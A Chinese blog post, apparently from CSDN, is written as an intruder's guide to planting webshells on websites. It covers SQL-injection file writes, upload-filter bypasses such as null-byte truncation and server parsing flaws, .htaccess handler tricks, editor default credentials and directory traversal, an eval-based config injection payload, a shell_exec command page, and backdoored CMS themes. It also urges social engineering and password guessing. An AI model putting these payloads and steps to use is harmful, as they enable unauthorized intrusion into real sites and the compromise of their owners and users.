• 利用WebShell拿Shell技巧


    webshell就是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php等后门文件与网站服务器WEB目录下正常的网页文件混在一起,可以使用浏览器来访问留下的后门,达到控制网站服务器的目的。

    shell的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。

    一、WebShell利用技巧

    1. 无论什么站,无论什么语言,我要渗透,第一件事就是扫目录,最好一下扫出个上传点,直接上传shell,诸位不要笑,有时候你花很久搞一个站,最后发现有个现成的上传点,而且很容易猜到,不过这种情况发生在asp居多!

    2. asp(aspx)+MSSQL先考虑注入,一般的注入都有DBowner权限可以直接写shell;如果写不了,或者web与数据库分离,那就猜数据,从后台下手了,后台可以上传或者改配置文件;

    3. asp(aspx)+ACCESS拿shell一般只有3种方法,一是前台上传或者注入进后台上传;二是注入进后台改配置文件;三是注入进后台备份数据库或者暴库后知道是asp或者asa数据库于是直接写一句话;

    4. php+MYSQL一般是注入进后台上传,偶尔运气好些权限够高可以注入select into outfile;然后包含,分本地与远程,远程包含在高版本php是不支持的,于是想办法本地上传图片文件或者写到log里;然后php程序某某未公开的漏洞,运气好可以直接写shell。

    5. jsp+MYSQL利用数据库拿权限方面基本同php,而且jsp的上传基本很少检查文件后缀,于是只要有注入点与后台,拿shell相当的容易。jsp+ORACLE的站我碰到的不多,碰到的也是猜出用户名与密码从后台下手的。

    6. 无论什么大站,主站一般都很安全(不然早被人玩了),于是一般从二级域名下手,猜出主站的某些用户名与密码或者搞到主站的源代码,或者旁注得到同网段服务器后cain或arp。

    7. 一般的大站很少有用现成的CMS的,于是如果你有幸找到源码,那你就发了,注入漏洞啊,上传漏洞啊,写文件漏洞啊,都掌握在你手里。多看看那些大站新出来的测试分站点,那些站还在测试中,可以很轻松拿下。

    8. 上传有个文件名截断,这包括2个方面,一是00截断,二是长文件名截断(曾经利用这个搞下hw);然后很多写文件的地方,都可以00,屡试不爽。上传别忘了.asp(当然.asa,.cer,.cdx都可以啦)目录的妙用。

    9. php站无论windows还是linux,都有magic_quotes_gpc的问题,magic_quotes_gpc为on的时候,在server变量注入的时候还是可以select into outfile,今年我搞过某未开源cms就是这个情况,一般情况下为on就别考虑写文件了,不过有这个权限别忘了读文件源码,因为load_file的参数是可以编码的。

    10. 猜路径或者文件在入侵中非常必要,猜不到路径的时候别忘了google(baidu太烂,google很全),于是你可以考虑看站点下的robot.txt或者robots.txt,会有惊喜。

    11. 工具的使用很重要,入侵之前用WVS扫扫会有助入侵;注入工具虽然很多,但不见得都好使,现在的软硬防火墙、防注入越来越厉害,那时候你就别偷懒,多手工有助你成长。

    12. 遇到过一流监控么,遇到其他防post的防火墙么,有时候一句话进去了都无法传大马,那时候,你先学学编码,学学变换绕过。

    13. 想搞一般的小站,记得查看这个小站的版权,找做这个站的公司,然后从这个公司做的其他站下手,得到源码再回头搞,我曾经通过这个方法拿下某知名制药的公司站。

    14. 旁注的思路永远不过时,遇到dbowner的注入,可以很舒服写shell到你需要的站,省得麻烦的提权了;运气不好,按部就班拿shell提权得到你所需。

    15. 永远别忘记社会工程学,利用社工把自己当成一个什么也不会的人,从某某站长的qq,身份正,邮箱等等下手,也许有时可能会有意外;另外别忘记admin,admin;test,test;123456,123456这种简单的尝试,当然,你也可以暴力破解。

    16. 别忽视XSS,别忽视cookie,XSS可以偷cookie,更有若干妙用,自己学会领悟;cookie可以伪造登陆,cookie可以注入,cookie注入可以绕绝大多数的防火墙。

    17. 平时搞站多多搜集路径啊,源码啊,工具啊,充实自己的“武器”库;最好把自己的入侵步骤记录下来,或者事后反思下,我一般都是记在txt里,另外要做到举一反三。

    18. 多学习,多看源码,多看公布出来的0day,脚本是入侵的前提,而不是工具,会用工具会装B你还没入门。

    二、管理权限拿webshell(进后台)

    1. 正常上传拿webshell

    网站对上传文件后缀格式并未过滤,直接上传Webshell即可。

    这里网站(购物网站为主)大多是为了管理方便,通常采用快速更新漏洞和防火墙等方式来减少所受危害。上传时不过滤,上传到服务器之后进行过滤(尤其对设有密码的文件)

    一般是上传到include目录,因为这类目录通常脚本文件比较多,把上传文件的名字改成跟其中脚本文件类似的正常脚本的名字,可以起到混淆视听的作用。主要用于提权。

    2. 数据库备份拿Webshell

    无法直接上传,只能上传正常图片,通过数据库备份进行改名。

    如果无法修改,尝试F12改元素或00截断。

    3. 突破本地验证拿webshell

    当网站设置了js来限制用户上传的文件类型时,我们可以通过删除js验证或者修改上传类型突破上传拿Webshell。

    ① 通过firebug修改限制

    ② 通过firebug删除检测的代码

    使用burpsuite或者是fiddle等工具提交,本地文件先更改为jpg,上传时拦截,再把扩展名改回asp或php

    4. 上传其他脚本类型拿webshell

    适用于一台服务器有多个网站,a网站是asp,b网站是php,而a网站限制了上传文件类型为asp的文件 ,可以尝试上传php的脚本来拿shell。

    像这样上传图片后将其改为php,系统会自动加上asp然后执行。

     

    尝试将脚本文件后缀名改为asa或者直接在后面间隔.如xxx.asp.来突破文件类型的限制进行上传拿webshell。

    5. 00截断拿webshell

    在上传文件的时候,你上传的文件名可能会被网站自动改成别的名字。这个时候你可以尝试抓取上传文件数据包,将文件名改为xx.asp%00.jpg进行截断,拿webshell。

    是GET接收情况的时候,直接用%00 就可以了,POST上传则需要经过url编码,这里要注意修改的是16进制。

    方法1

    首先加个空格:

    点击hex找到空格的位置把20改为00:

    go一下,发现上传成功:

    方法2

    直接写%00,然后选中%00,右击选择convert selection的url的decode,go一下:

    6.  利用解析漏洞拿webshell

    iis5.x&6.0的漏洞

    1.目录解析漏洞:/xxx.asp/ma.jpg

    在网站下建立的名字为.asp,.asa文件夹,在目录内的任何文件都会被当做asp文件进行解析并执行,如果可以控制上传的路径,那么就不需要上传后将jpg改名就可以拿到shell。

    2.文件解析漏洞:1.asp;.jpg

    上传的时候,因为尾部是jpg,所以上传成功,执行的时候分号后面的都不执行,所以是当做asp执行(抓包改包)

    Apache解析漏洞

    Apache是从右向左进行解析,如果不可识别就继续向左识别。

    例如1.php.owf.rar,Apache不可识别owf和rar,那这个文件就会被当做php执行。

    如何判断是不是合法后缀:测试时上传一个1.php.rar.jpg…(把知道的后缀都加上)去测试是否合法。

    iis7.0/7.5/nginx<8.03畸形解析漏洞

    上传一个名字为1.jpg的文件内容为:

     fputs(fopen('xxx.php','w'),'');?>

    访问1.jpg/.php,在这个目录下就会生产一句话木马xxx.php。

    nginx<8.03空字节代码执行漏洞

    在图片中嵌入php代码;

    通过访问xxx.jpg%00.php来执行;

    Apache的.htaccess文件解析漏洞

    如果测试中发现.htaccess文件可被上传和执行,那么机会就来了。
    创建一个1.txt中写入如下代码,打开另存为,保存类型为所有文件:

    AddType  application/x-httpd-php    .jpg

    1. <FilesMatch "1.jpg">
    2. SetHandler application/x-httpd-php
    3. FilesMatch>

    .htaccess文件里的代码的含义是将上传的文件后缀名为.jpg格式的文件以 php格式来解析文件。

    7. 利用编辑器拿webshell

    常见的编辑器漏洞有fckeditor、ewebeditor、cheditor等。

    Fckeditor编辑器漏洞利用

    详情参看:

    fckeditor编辑器漏洞_mon0dy的博客-CSDN博客_fckeditor漏洞

    通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell。

    通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器拿webshell。

    ewebeditor编辑器漏洞利用

    有修改权限的利用。

    1.关键文件的名称和路径,尝试以下页面:

    1. admin_login.asp (默认后台路径)
    2. admin_default.asp
    3. admin_style.asp(检测文件能否直接访问)
    4. admin_uploadfile.asp
    5. upload.asp
    6. admin_modipwd.asp
    7. eWebEditor.asp

    默认后台:

    ``www.xxx.cn/admin/ewebeditor/login_admin.aspwww.xxx.cn/ewebeditor/login_admin.aspwww.xxx.cn/admin/eweb/login_admin.aspwww.xxx.cn/admin/editor/login_admin.asp`

    默认用户名和密码都是admin。

    2.遍历目录:

    http://www.xxx.com/admin/ewebeditor/admin_uploadfile.asp?id=14

    在14删掉后添加&dir=../../,直到出来根目录。

    3.下载数据库:

    db/ewebeditor.mdb(默认数据库路径),下载下来后可以用数据库管理工具打开,解密管理员账号密码登录,样式管理新增样式,设置上传一些asp,asa等脚本文件。

    有时候新增样式之后无法点击上传没可能是因为特定的IE版本才行(以IE6为例),这时候通过一些工具模拟IE6的环境。

    8.  网站配置插马拿webshell

    通过找到网站默认配置,将一句话插入到网站配置中间。为了能够成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,以防插码失败。

    一定要注意闭合:

    "%><%eval request("xxxxx")%><%'

    9. 通过编辑模板拿webshell

    • 通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿Webshell。

    • 通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器拿Webshell。

    10. 修改脚本直接拿webshell

    有的网站可以修改添加脚本文件,直接拿WebShell。

    11. 数据库命令执行拿WebShell

    通过phpmyadmin 登录数据库使用数据库命令来写入一句话拿WebShell。

    步骤:

    1.创建表

    2.将一句话写入刚创建的表中

    3.查询一句话所在表到文件,成功将一句话写入文件

    4.删除表

    1. Create TABLE study (cmd text NOT NULL);
    2. Insret INTO study (cmd) VALUES('');
    3. select cmd from study into outfile 'D:phpstudy_pro/www/test/test.php';
    4. Drop TABLE IF EXISTS study;

    12. 添加静态页面拿webshell

    使用生成的目录,配合解析漏洞。

    把一句话木马写入标签,在写入网页。 

    13. 文件包含拿webshell

    先将Webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿webshell。

    asp包含:

    php包含:

     include ("123.jpg")?>;

    案例:

    先将webshell改为TXT或jpg文件上传,然后上传一个脚本文件包含该文件

    这里上传两个文件,bao.asp和1.jpg(木马):

    bao.asp:<!--#include file="1.jpg"-->

    因为1.jpg是图片格式,所以代码不执行,去执行bao.asp,而bao.asp又将1.jpg(也就是木马)当做asp执行。

    调用的文件和被调用的文件必须在同一个目录,否则找不到,如果不在同一个目录:

    php:

     include("1.jpg");?>

    14. 其他方法拿webshell

    更新页面拿webshell

    以WordPress为例:找到更新选项,外观,编辑404模板,插入一句话,如果不知道404.php所在的目录的话可以下一个模板看一下:

    上传插件拿webshell 

    找一个完整的主题或插件,在其中某个隐秘的小角落里写入一句话,然后压缩后上传上去即可。

    上传特殊马,免杀马拿webshell

    上传免杀马过安全软件

    三、普通权限拿webshell(不进后台)

    1. 0day拿webshell

    0day漏洞,是已经被发现(有可能未被公开),而官方还没有相关补丁的漏洞。

    我能找到的最新的也是24天前的漏洞了

    参考工具:织梦漏洞利用小工具

    2. 修改网站上传类型配置来拿WebShell

    某些网站在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell。

    3. IIS写入权限拿WebShell

    有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,找到有IIS写入权限的网站,放进去一个txt 格式的文件,目录必须有刻写的权限,如image文件夹,然后通过move方法,把txt 格式的木马用move成脚本格式。

    原理:通过找到有IIS写入权限的网站,put进去一个txt文件,目录必须有可写的权限,然后通过move方法进行重命名为xxx.php

    参考工具:IIS  put scanner。

    4. 远程命令执行拿webshell

    当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

    可以使用echo将一句话木马写入文件。

    zhu.php:

    1. $x=$_GET["z"];
    2. echo "
      ";
    3. echo shell_exec($x);
    4. echo "
      ";
    5. ?>

    然后再浏览器访问此php文件,跟一个z的参数是一句话木马,输出到cracer.php文件:

    跟着在浏览器访问一下这个php文件,再用菜刀连接就可以了。

    5. 上传漏洞拿webshell

    有些网站可以上传图片,附件,文件等等。

    原理:用户注册后,有些网站可以上传头像图片、附件、文件等,可以利用此来上传Webshell

    6. SQL注入拿webshell

    前提条件:具有足够权限,对写入木马的文件夹要有写入权限,知道网站绝对路径。

    对于mssql注入漏洞,网站可以通过log备份、差异备份拿Webshell。

     

     对于mysql注入漏洞的网站可以通过into   file函数将一句话木马写入,拿Webshell。

    参考工具:Getwebshell增强版、pangolin。

    7. struts2拿Webshell

    参考工具:鬼哥struts2、Struts2漏洞批量检测。

    8. 本地JS验证突破拿Webshell

    当网站设置了JS来限制用户上传的文件类型时,我们可以通过删除JS文件或者修改上传文件类型突破上传限制拿Webshell。

    参考工具:使用burpsuit或fiddler代理工具提交,本地文件先改为XXX.jpg,上传时拦截,再把文件名后缀更改为php即可。

    四、后台网站常见架构

    WordPress的Getshell

    WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。

    也可以把 WordPress当作一个内容管理系统(CMS)来使用。

    1.更改模板处

    复现:

    第一步:找到外观->编辑->编辑模板。

    第二步:验证。

    2.上传主题

    复现:第一步:在上传主题处,上传一个主题压缩包,主题中需要含有木马代码。
    ps:上传成功后,压缩包会自动解压。

    上传了一个qiesi的压缩包,成功后木马被自动解压出来。

    第二步:验证。

    DedeCMS的Getshell

    1.任意文件上传
    dede是织梦内容管理系统dedecms的简称,是一个PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。

    复现:

    第一步:在文件上传处,直接上传木马即可。

    第二步:验证。

    2.模板配置

    复现:第一步:在模板—>默认模板管理—>修改index.htm模版内容。

    第二步:在生成—>更新主页的HTML中,将htm改成php后更新。

    第三步:验证。

    3.广告内容

    复现:

    第一步:在模板—>广告管理—>新增广告处。

    第二步:验证。

    南方数据CMS

    南方数据企业网站管理系统V18官方主站、企业网站SQL版、好的企业网站管理系统、企业建站系统、南方数据企业CMS、企业网站SEO、网站优化、SEO搜索引擎优化机制、自助建站系统、前台全站采用静态html页面模板自动生成。

    是由国内知名的CMS及电子商务管理软件开发商科创网络工作室**自主研发的新一代企业电子商务系统产品、同时提供各种网页模板、企业网站模板、免费企业网站系统、自动建站系统、全能型企业网站系统。

    1.00截断

    复现:

    第一步:在 新闻咨询 -> 添加新闻 -> 上传处。

    第二步:上传,使用00截断。

    第三步:验证。

    2.网站配置

    复现:

    第一步:在系统管理->常量设置处,插入代码。

    Pageadmin CMS

    PageAdmin CMS系统是基于.Net的网站管理系统,安全、稳定、灵活,全国用户超过百万,致力于为企业、学校、政府网站建设和网站制作提供企业级内容管理系统解决方案。

    1.自解压 getshell

    复现:

    第一步:在文件管理处,选择模板上传,然后上传一个压缩包,其中压缩包里面包含木马。

    第二步:验证:成功。

    2.利用配置文件,连接数据库,进行getshell

    复现:

    第一步:查看配置文件。

    第二步:连接数据库。

    第三步:验证,可以利用数据库进行命令执行。

  • 相关阅读:
    【Java面试题】《尚硅谷经典Java面试题第一季(java面试精讲)》学习笔记
    炫酷动漫游戏网站页面设计html页面前端源码
    杂记,主要包含各种锁
    常见的框架漏洞
    mysql面试题17:MySQL引擎InnoDB与MyISAM的区别
    【ENVI精讲】处理专题五:基于像元二分模型的植被覆盖度反演
    Centos Discuz!论坛系统
    变量的引用
    DDR电源硬件设计要点
    【Unity3D赛车游戏优化篇】【九】Unity中如何让汽车丝滑漂移?
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126093942